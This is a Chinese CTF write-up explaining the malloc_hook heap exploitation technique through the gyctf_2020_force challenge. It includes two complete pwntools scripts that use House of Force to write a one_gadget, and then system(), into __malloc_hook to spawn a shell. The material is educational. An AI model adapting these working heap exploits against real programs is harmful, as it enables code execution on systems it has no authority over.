malloc_hook
概述
在做堆题的时候，经常会遇到保护全开的情况，其中对利用者影响最大的是PIE保护和Full RELRO，NX保护和栈保护对堆利用来说影响都不大，一般利用也不会往这方面靠。开了PIE保护的话代码段的地址会变，需要泄露代码段基地址才能利用存储在bss段上的堆指针；开了Full RELRO的话，则意味着我们无法修改got表，导致无法修改其它函数got表指向system，进一步获取到shell。因此也就有了我这一系列文章的目的，在got表无法被修改时，我们往往利用的就是下面的一些hook+onegadget来达到我们的目的。主要分为以下几个系列：malloc_hook --> free_hook …待补充
初级必备姿势
下面介绍入门必会的姿势 – malloc_hook，该函数是在malloc函数调用前会执行的钩子函数。在程序中，通常malloc_hook的函数地址对应值为0，也就是不会执行任何东西，我们在利用过程中将其覆盖为onegadget地址，这样再执行一次malloc就会执行onegadget。
gyctf_2020_force
接下来以2020年gyctf的一道pwn题为例，该题目中给了明显的提示要我们使用house_of_force进行漏洞利用。对该利用方式不熟悉的读者可以参考我另外一篇博文，pwn题堆入门 – Large bin。
简单分析下题目，程序本身很简单，保护全开，main函数中给了两个功能，一个add，一个puts，然后puts本身也没啥用，无法泄露信息，所以这里只贴了add的代码。如下图所示，add函数实现堆分配，对malloc大小没有限制存在house_of_force利用。图中我高亮的地方也打印出来每次分配的堆地址，后面往堆写内容时也可以进行溢出，所以house_of_force的利用条件是满足的。
利用思路：正如前面所说这里开启了Full RELRO，got表无法被改写，再加上题目本身也没有给泄露函数地址的机会，所以想到利用hook+onegadget合情合理。这里我们确定使用malloc_hook，malloc_hook在libc中，需要泄露libc地址，这里采用分配非常大的内存块方式来进行泄露，原理参考这里 --> pwn题堆入门 – Large bin。接着就是正常的house_of_force攻击了，下面直接给出wp。
from pwn import *
ld_path = "/home/fanxinli/libc-so/lib-23/x86_64-linux-gnu/ld-2.23.so"
libc_path = "/home/fanxinli/libc-so/libc-2.23-64.so"
p = process([ld_path, "./gyctf_2020_force"], env={"LD_PRELOAD":libc_path})
def add(size, content):
p.recvuntil("2:puts\n")
p.sendline("1")
p.recvuntil("size\n")
p.sendline(str(size))
p.recvuntil("bin addr ")
info = p.recvuntil("\n", drop=True)
# print(info)
info = int(info.decode("ISO-8859-1"), 16)
p.recvuntil("content\n")
p.send(content)
return info
# context.log_level = "debug"
# leak base + Top chunk addr
base = add(0x200000, "aaaa") + 0x200ff0
print("base ==> ", hex(base))
pad = cyclic(0x10)+p64(0)+p64(0xffffffffffffffff)
chunk_a = add(0x10, pad)
top = chunk_a + 0x10
print("top chunk ==> ", hex(top))
# count hook + onegadget
libc = ELF("/home/fanxinli/libc-so/libc-2.23-64.so")
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
malloc_hook = base+libc.sym["__malloc_hook"]
print("malloc_hook ==> ", hex(malloc_hook))
one_gadget = base+one_gadget[1]
print("one_gadget ==> ", hex(one_gadget))
# attack
offset = malloc_hook-top-0x20
add(offset, "aaaa")
add(0x10, p64(one_gadget))
pause()
p.recvuntil("2:puts\n")
p.sendline("1")
p.recvuntil("size\n")
p.sendline(str(0x10))
p.interactive()
这里贴出one_gadget的成功条件，以及再下两张图是gdb动态调试结果，结合程序打印结果，可以发现malloc_hook确实成功写入了one_gadget地址。我们再one_gadget处下断点，然后单步跟踪一下执行情况，毕竟one_gadget执行条件还不一定满足。
这里one_gadget成功的条件是$rsp+0x30==NULL，不过可惜这里不是，所以无法成功获取到shell。接下来就是一一尝试剩余的one_gadget，看看能不能碰运气满足一次。
常规搭配姿势
在上面初级姿势的尝试中，我们发现不是这么轻易的能够获取到shell，所以需要一些常规的搭配姿势来帮助我们。思路是这样的，将malloc_hook地址覆盖为system地址，然后在下一次malloc时将存储有"/bin/sh\x00"字符的内存地址传给malloc，这样我们就能实现system("/bin/sh\x00")调用获取到shell。下面直接看wp，注意对比注释和新增后的代码。
from pwn import *
ld_path = "/home/fanxinli/libc-so/lib-23/x86_64-linux-gnu/ld-2.23.so"
libc_path = "/home/fanxinli/libc-so/libc-2.23-64.so"
p = process([ld_path, "./gyctf_2020_force"], env={"LD_PRELOAD":libc_path})
def add(size, content):
p.recvuntil("2:puts\n")
p.sendline("1")
p.recvuntil("size\n")
p.sendline(str(size))
p.recvuntil("bin addr ")
info = p.recvuntil("\n", drop=True)
# print(info)
info = int(info.decode("ISO-8859-1"), 16)
p.recvuntil("content\n")
p.send(content)
return info
# context.log_level = "debug"
# leak base + Top chunk addr
base = add(0x200000, "aaaa") + 0x200ff0
print("base ==> ", hex(base))
# here is bin_sh
pad = b"/bin/sh\x00"+p64(0)*2+p64(0xffffffffffffffff)
chunk_a = add(0x10, pad)
top = chunk_a + 0x10
print("top chunk ==> ", hex(top))
# count hook + onegadget
libc = ELF("/home/fanxinli/libc-so/libc-2.23-64.so")
# one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
malloc_hook = base+libc.sym["__malloc_hook"]
print("malloc_hook ==> ", hex(malloc_hook))
# one_gadget = base+one_gadget[1]
# print("one_gadget ==> ", hex(one_gadget))
sys = base+libc.sym["system"]
print("system ==> ", hex(sys))
# attack
offset = malloc_hook-top-0x20
add(offset, "aaaa")
# add(0x10, p64(one_gadget))
add(0x10, p64(sys))
pause()
p.recvuntil("2:puts\n")
p.sendline("1")
p.recvuntil("size\n")
# p.sendline(str(0x10))
p.sendline(str(chunk_a))
p.interactive()
如下图所示，是gdb动态调试的结果，可以看到malloc_hook处被成功覆盖为system函数地址，这里和上面的操作一样在system处打下断点，可以逐步分析system的执行情况，最终可以成功执行获取到shell。
按需进阶姿势
总结
不忘初心，砥砺前行！